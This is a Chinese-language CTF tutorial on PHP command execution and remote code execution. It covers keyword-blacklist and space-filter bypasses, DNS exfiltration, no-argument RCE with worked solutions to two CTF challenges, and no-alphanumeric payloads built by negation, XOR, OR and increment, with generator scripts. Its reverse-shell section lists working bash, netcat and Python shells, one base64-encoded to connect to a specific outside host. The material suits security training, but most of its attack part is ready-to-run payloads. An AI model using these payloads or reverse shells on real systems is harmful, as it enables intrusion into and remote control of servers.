命令执行
常用函数:
- 有回显:
system()
,passthru()
- 无回显:
exec()
,shell_exec()
黑名单过滤
CTF中常见的形式,将命令执行的关键字替换为其他字符或直接过滤
可用其他功能类似的命令绕过:
如读取文件可以用:cat
,tac
,more
,less
,head
,tail
,sort
,uniq
,file -f
(报错读取),rev
(反向读取),curl file:///flag
,bash -v /flag
也可以用通配符匹配,即*
(匹配多个字符)与?
(匹配单个字符)
linux下的命令都在/usr/bin
目录下,用tac命令读取根目录下的flag如下:/???/???/t?c *.txt
或使用符号拼接
如ca''t /flag
->ca\t /f\lag
->ca$IFS$1t /flag
也可以使用正则匹配
cat /[^e][k-m]??
,其中[^e]
表示这一位不是字母e
,[k-m]
表示这一位是l
,之后用两位通配符匹配
内联执行绕过
若当前目录下有index.php
与flag.php
,则cat `ls`相当于执行了cat index.php;cat flag.php
cat $(ls)
同理
空格过滤
可以用<>
,${IFS}
,$IFS$9
,%09
,%0b
,%0c
来代替空格
无回显命令执行
之前说过,在命令执行函数中,exec
与shell_exec
是不会有回显的,以下针对无回显的命令执行漏洞有几种利用方法
写文件
当我们有写入权限时,可以将命令执行的结果写入到文件中,随后在浏览器中访问即可
如ls>1.txt
或ls | tee 1.txt
dns外带信息
假如我们没用写权限,但是可以出网,可以用DNS外带信息,常用平台有http://dnslog.cn/
与http://ceye.io/profile
反弹shell
这是一个大主题,以后会专门写一篇详细的,这里简单提一嘴
bash
1
2
3
4
5
6
|
bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1"
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9tYXg2LmZ1bi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'
nc [IP] [Port] -e /bin/sh
#监听
nc -lvvnp [Port]
|
python
1
2
3
4
5
6
|
python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("your-ip",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvvnp 2333
python3 -c "import pty;pty.spawn('/bin/bash')" #模拟终端
|
无字母数字命令执行
直接参考探姬大佬的BashFuck
远程代码执行
常用函数:eval()
,assert()
,preg_replace()
,create_function()
,call_user_func()
等
preg_replace
的代码执行漏洞
preg_replace
的/e
模式下会触发代码执行漏洞,这里简单过一下,之后会出单独的篇章展开讲讲
1
|
preg_replace(mixed $pattern , mixed $replacement , mixed $subject)
|
搜索subject
中匹配pattern
的部分,以replacement
进行替换
在pattern
正则表达式为/e
模式时,可以实现代码执行
1
2
|
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
|
传参:
1
|
http://x.x.x.x/xxx.php?pattern=/233/e&new=phpinfo()&base=233
|
call_user_func
利用
该函数把第一个参数作为回调函数使用
1
|
<?php call_user_func($_POST['fun'],$_POST['arg'])?>
|
传参如下
无参数RCE
核心代码:
1
2
3
|
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
|
关键点在于('/[^\W]+((?R)?/
这个正则表达式,在该表达式下,每个函数内的参数都会被匹配
以下是用于实现RCE的相关函数
基本操作
-
var_dump()
、var_export()
:用于输出变量的相关信息
-
scandir()
:返回当前目录中所有的文件和目录,结果是一个数组
-
current()
与pos()
:返回当前数组中的值(默认第一个)
-
localeconv()
:返回本地数字及货币信息的数组(该数组的第一项是.
,可以与scandir
配合使用)
-
getallheaders()
:获取所有请求头信息,并返回键值对
-
strrev()
:返回反转后的字符串
-
eval()
、assert()
:代码执行
-
system()
、passthru()
:命令执行
-
highlight_file()
、show_source()
、read_file()
、readgzfile
:读取文件内容
-
getenv()
:获取环境变量(php7.1版本以上)
-
get_defined_vars()
:返回由已定义变量所组成的多维数组
数组操作
-
end()
:内部指针指向数组中最后一个元素并输出
-
next()
:指向下一个元素并输出
-
prev()
:指向上一个元素并输出
-
reset()
:指向数组中第一个元素并输出
-
each()
:返回当前元素的键名和键值,并将内部指针向前移动
-
array_rand()
:随机返回一个键名
-
array_flip()
:交换数组中的键与值,返回交换后的数组
-
array_reverse()
:以相反的顺序返回数组内容
-
array_shift()
:删除数组中的第一个元素并返回被删除的值
-
array_pop()
:删除数组中的最后一个元素并返回被删除的值
-
implode()
:用于将数组转化为字符串,让echo
或printf
得以输出结果
目录操作
举个栗子:scandir('.')
用于返回当前目录,在无法传参数的情况下,可以用localeconv()
构造一个.
,再用current()
返回.
给scandir()
即可
?payload=var_dump(scandir(current(localeconv())));
相关例题
题目来源:2023NewStarCTF-R!!C!!E!!
源码如下:
1
2
3
4
5
6
7
|
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
|
这题用到了getallheaders()函数
,用于获取当前所有的请求头信息,但只允许在Apache环境下使用,在php7以上的版本可以用apache_request_headers()
代替
本题思路是在请求头中添加我们要执行的系统命令,用getallheaders()
获取所有的请求头信息,接着用array_flip()
与array_rand()
来调换与获取键值对,最后用system()
来执行命令
payload:
1
2
3
4
5
|
# parmas
?star=system(array_rand(array_flip(getallheaders())));
# headers
flag: cat /f*
|
由于array_rand()
是随机获取的,因此可以删除部分请求头来提高成功率
题目来源:BUUCTF-禁止套娃
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
|
并没有过滤scandir()
,先看一下目录下的文件
exp:
1
|
?exp=var_dump(scandir(current(localeconv())));
|
放包后得到结果,可以看到flag.php位于数组第四个位置
有三种解法,其一是利用array_reverse()
与next()
来对数组进行操作,再用show_source()
之类的函数进行读取;其二是用getallheaders()
;其三便是session_id()
前面也讲到,倘若中间件不是Apache,getallheaders()
便无法使用,这里介绍下session_id()
的使用
将恶意代码写到cookie的PHPSESSID中,再利用session_id()
读取,之后便可以用其他函数来实现命令执行。但是session_id()
需要开启session才能使用,因此在此之前还需要用session_start()
来开启session服务
payload:
1
2
3
4
5
|
# parmas
?exp=show_source(session_id(session_start()));
# headers
Cookie: PHPSESSID=flag.php
|
无字母数字RCE
比较经典的题目,参数不能出现字母和数字
思路:通过非字母数字的字符构造出字母来实现代码执行
核心代码:
1
2
3
4
5
|
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker!');
}
eval($code);
|
取反
取反利用了不可见字符。在经过一次取反后,将不可见字符进行url编码,再将其取反回去就能得到原本的字符
由于取反后的字符大多是不可见的,因此实现了绕过
php脚本:
1
2
3
4
5
6
|
<?php
$ans1='system';//函数名
$ans2='dir';//命令
$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
echo ('('.$data1.')'.'('.$data2.')'.';');
|
异或与或
先来讲讲异或。两个字符进行异或操作后,会首先将两个字符化为ascii码值,再转化为二进制,然后进行按位异或,最终会得到一个新的字符。位异或的规则是相同为0,不同为1
异或也可以一次性构造多个字符,如('AB')^('11')
因此异或的大体构造思路如下:
- 寻找未被过滤的字符
- 写入我们想得到的字符串,进行遍历,获得第一个字符
- 对未被过滤的字符进行遍历,构造出第一个字符
- 输出时将字符进行url编码,因为未过滤字符可能包含不可见字符
手动构造必然是十分麻烦的,这里用脚本实现,以下是来自yu22x师傅的脚本
字典生成:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
if ($i < 16) {
$hex_i = '0' . dechex($i);
} else {
$hex_i = dechex($i);
}
if ($j < 16) {
$hex_j = '0' . dechex($j);
} else {
$hex_j = dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
echo "";
} else {
$a = '%' . $hex_i;
$b = '%' . $hex_j;
$c = (urldecode($a) ^ urldecode($b));
if (ord($c) >= 32 & ord($c) <= 126) {
$contents = $contents . $c . " " . $a . " " . $b . "\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
|
异或构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# -*- coding: utf-8 -*-
# author yu22x
from sys import *
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = '("' + s1 + '"^"' + s2 + '")'
return output
while True:
param = (
action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
)
print(param)
|
或的构造与异或原理相同,其运算规则是位有0为0,无0为1
同样放一下yu22x师傅的脚本
字典构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
<?php
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
if ($i < 16) {
$hex_i = '0' . dechex($i);
} else {
$hex_i = dechex($i);
}
if ($j < 16) {
$hex_j = '0' . dechex($j);
} else {
$hex_j = dechex($j);
}
$preg = '/[0-9a-z]/i'; //根据题目给的正则表达式修改即可
if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
echo "";
} else {
$a = '%' . $hex_i;
$b = '%' . $hex_j;
$c = (urldecode($a) | urldecode($b));
if (ord($c) >= 32 & ord($c) <= 126) {
$contents = $contents . $c . " " . $a . " " . $b . "\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
|
或构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# -*- coding: utf-8 -*-
# author yu22x
from sys import *
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("or_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = '("' + s1 + '"|"' + s2 + '")'
return output
while True:
param = (
action(input("[+] your function:")) + action(input("[+] your command:")) + ";"
)
print(param)
|
在PHP7前,是不允许用($a)()
这样的形式来执行动态函数的
在PHP8后,就不支持将没有引号包裹的字符解析为字符串了
自增
利用了php中的递增/递减运算符
简单地说,php支持通过自增来获得其他字母,比如'a'++ => 'b'
,因此我们只需要拿到一个值为a
的变量,就可以通过自增操作来获得所有英文字母
巧的是数组(Array)里包括了大小写的a
,等于我们获取了所有的字母
在php中,如果强制连接数组和字符串,数组将转化为值为Array
的字符串
在获取这个字符串的第一个字母就获得了A
(php函数大小写不敏感)
也可以构造传参,如下:
1
2
3
4
5
6
7
8
9
10
11
|
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;$_++;$_++;$_++;
$__=$_;//E
$_++;$_++;
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
|
传参时需要将换行都去掉,再进行一次url编码,因为中间件会解码一次
1
|
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);
|
编码后传参,再用GET传入_
与__
作为函数与参数即可